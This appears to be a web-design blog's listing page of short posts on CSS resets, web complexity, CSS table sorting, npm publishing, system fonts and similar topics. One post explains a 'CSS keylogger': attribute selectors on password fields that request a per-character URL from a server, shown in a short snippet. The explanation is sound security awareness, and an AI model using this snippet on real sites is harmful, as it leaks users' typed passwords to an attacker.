Complexity

Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again.

May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder:

I don’t feel much better at making [websites] after 20 years. My knowledge and skills develop a bit, then things change, and half of what I know becomes dead weight. This hardly happens with any of the other work I do.

And complexity is to blame.

(more…)

modern-normalize

Another don't call it a reset from Sindre Sorhus. It's a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I'm good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you're interested in some of the history and thinking behind these things, I wrote about that not long ago. Daniel Box made a little tool to compare them and I forked it to include modern-normalize.

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Variable Order

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It's a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they've sorted the table when they haven't. Rachel Andrew pointed out that it's actually one of the rare things the spec itself tells you not to do:

Authors must use order only for visual, not logical, reordering of content. Style sheets that use order to perform logical reordering are non-conforming.

As a connoisseur of fine CSS trickery, I applaud the idea. In production, still a job for JavaScript. And about that order property? Is it always a bad idea to use? Amelia Bellamy-Royds has a post with a pretty good use case. And Adrian Roselli's HTML Source Order vs CSS Display Order covers the struggle.

Some Things I Recommend

Howdy. I'm taking this week's "Sponsored Post" to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I'm happy going on the record endorsing.

(more…)

The JavaScript Learning Landscape in 2018

Raise your hand if this sounds like you:

You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It’s time for something new, for the next step in your career. You need to learn programming."

Yep, same here.

(more…)

Gotchas When Publishing Modules in npm and Bower

Bower and npm are de-facto the package managers of the web. I doubt there are many front-end developers out there who haven’t heard of them or used them to manage dependencies.

Whilst many of us use them as consumers, one day you might decide to share a project of your own and become a contributor! This happened to me recently. I had the experience of publishing my open-source library on npm and Bower.

Although their official docs were quite good, I still ended up struggling with three little known gotchas. I won’t focus on the basics in this post. You can always find and read about them. I’ll instead focus on the gotchas.

(more…)

The Red Reveal: Illusions on the Web

In part one of a series of posts about optical illusions on the web, Dan Wilson looks at how to create the “Red Reveal” that he happens to describe like this:

Growing up, my family played a lot of board games. Several games such as Outburst, Password, and Clue Jr. included something that amazed me at the time — a red lens and cards with some light blue text that was obscured by a myriad of red lines. When you put the red lens over the card, the text would magically appear.

Here’s one example of that effect from a nifty Pen (more…)

My Talk Writing Process

Some people have a talk-preparation process that is super organized and runs like a well-oiled machine. Mine, on the other hand, is a bit messy, but it works for me. Even when the end talk is polished and put together, it doesn’t mean the whole process to get there was the same way.

When putting together a new talk recently, I noticed there was most definitely a pattern to how my talks take shape. Here’s how the talk-making process goes for me

Shipping system fonts to GitHub.com

System font stacks got hot about a year ago, no doubt influenced by Mark Otto's work putting them live on GitHub.

The why, to me, feels like (1) yay performance and (2) the site looks like the rest of the operating system. But to Mark:

Helvetica was created in 1957 when the personal computer was a pipe dream. Arial was created in 1982 and is available on 95% of computers across the web. Millions, if not billions, of web pages currently use this severely dated font stack to serve much younger content to much younger browsers and devices.

As display quality improves, so too must our use of those displays. System fonts like Apple’s San Francisco and Microsoft’s Segoe aim to do just that, taking advantage of retina screens, dynamic kerning, additional font-weights, and improved readability. If operating systems can take advantage of these changes, so too can our CSS.

(more…)

icon-anchoricon-closeicon-emailicon-linkicon-logo-staricon-menuicon-nav-guideicon-searchicon-staricon-tag